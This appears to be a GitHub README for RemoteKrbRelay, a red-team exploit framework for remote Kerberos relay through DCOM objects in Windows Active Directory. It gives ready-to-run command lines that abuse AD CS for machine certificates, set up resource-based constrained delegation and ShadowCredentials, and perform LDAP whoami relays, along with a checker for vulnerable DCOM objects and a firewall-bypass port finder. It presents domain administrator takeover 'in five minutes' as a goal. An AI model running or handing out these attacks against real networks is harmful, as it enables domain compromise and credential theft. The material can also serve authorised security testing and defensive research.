Remote Kerberos Relay made easy! Advanced Kerberos Relay Framework
Remote Kerberos Relay made easy! Advanced Kerberos Relay Framework
/\_/\____,
,___/\_/\ \ ~ /
\ ~ \ ) XXX
XXX / /\_/\___,
\o-o/-o-o/ ~ /
) / \ XXX
_| / \ \_/
,-/ _ \_/ \
/ ( /____,__| )
( |_ ( ) \) _|
_/ _) \ \__/ (_
(,-(,(,(,/ \,),),)
CICADA8 Research Team
From Michael Zhmaylo (MzHmO)You probably know KrbRelay and KrbRelayUp, but what if I told you it could be done remotely? With RemoteKrbRelay this becomes a reality.
Learn more about CertifiedDCOM here. CertifiedDCOM allows you to trigger an ADCS machine account:
# CertifiedDCOM (Abuse AD CS by setting RBCD)
.\RemoteKrbRelay.exe -rbcd -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -cn FAKEMACHINE$
# CertifiedDCOM (Abuse ADCS to get Machine cert)
.\RemoteKrbRelay.exe -adcs -template Machine -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3
# CertifiedDCOM (Abuse ADCS with ShadowCreds)
.\RemoteKrbRelay.exe -shadowcred -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -forceshadowcredThere's also the SilverPotato exploit. You can use it to abuse sessions. Including a domain administrator session on a third-party host.
…Now, you have four folders in front of you:
Checker - old version of the checker for detecting vulnerable DCOM objects;Checkerv2.0 - new version of the checker for detecting vulnerable DCOM objects;Exploit - RemoteKrbRelay.exe :) FindAvailablePort - a tool for bypassing a firewall when using an exploit.So, let's start with Checker. You can use it to detect vulnerable DCOM objects. A vulnerable DCOM object can be considered to be:
NT AUTHORITY\LOCAL SERVICE, since it uses empty creds to authenticate from the network;RemoteLaunch, RemoteActivation permissions. This is LaunchPermissions;RPC_C_IMP_LEVEL_IDENTIFY and higher. RPC_C_IMP_LEVEL_IDENTIFY is a default value;RemoteAccess permissions (or they should be emply). This is AccessPermission.For easy detection, you can use Checkerv2.0. It supports output in csv and xlsx formats.
…Example:
.\Checkerv2.0.exe -outfile win10 -outformat xlsxAnd u will receive such output:
The columns will contain the DCOM object CLSIDs, names, and LaunchPermission and AccessPermission.
Try searching for sppui (CLSID {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}, APPID {0868DC9B-D9A2-4f64-9362-133CEA201299}) and CertSrv Request (CLSID {d99e6e74-fc88-11d0-b498-00a0c90312f3}) objects and understand why they are vulnerable.
Don't use Checker, use only Checkerv2.0 pls :3
A small tool to discover a port on which to raise a malicious DCOM server. See details here (Remote -> Local Potato).
Practice using the concept of a local port. Rewrite RemotePotato0 to a local port. Trust me, this is useful.
I added quite a bit of different functionality to the exploit. Note that it provides enough functionality to abuse DCOM objects. I've also listed a few CLSIDs in Help for abuse. These CLSIDs were publicly known, there just wasn't a POC to abuse them. There are quite a few vulnerable DCOM objects, work with the checker and find them all!
…I suggest looking at some of the attacks:
RBCD - relay to LDAP and setup RBCD.
HTTP ADCS - relay to web enrollment service.
ShadowCred - relay to LDAP and setup ShadowCreds.
Add user to group
LDAP Whoami request - It is convenient to combine with CLSID Bruteforce functionality. You can find out which user you are triggering. Try triggering for the first five sessions on all machines in the domain. Wow, that's what, a domain administrator in five minutes? :)
Supports cross-session activation using -session:
Also LAPS, changing user password, smb....
Video DEMO:
.\RemoteKrbRelay.exe -ldapwhoami -victim win10.vostok.street -target dc01.vostok.street -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -local dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAAA
# but I haven't implemented the relay from Initial OXID Request yet. Do it BRO! :)
# dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAAA <- this is DNS A record that points to kali (thx to CredMarshalTargetInfo() because i can receive tkt on RPCSS/dc01).\RemoteKrbRelay.exe -rbcd -victim win10.vostok.street -target dc01.vostok.street -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -spn krbtgt/root.apchi -cn FAKEMACHINE$The vulnerability is quite serious. Note that this is the minimum POC. You should refine it if you want to use it stably on your Red Team projects.
Thanks for not posting the POC on CertifiedDCOM and SilverPotato, I've been stoked to do them on those articles :D
No open issues yet, or sync has not completed.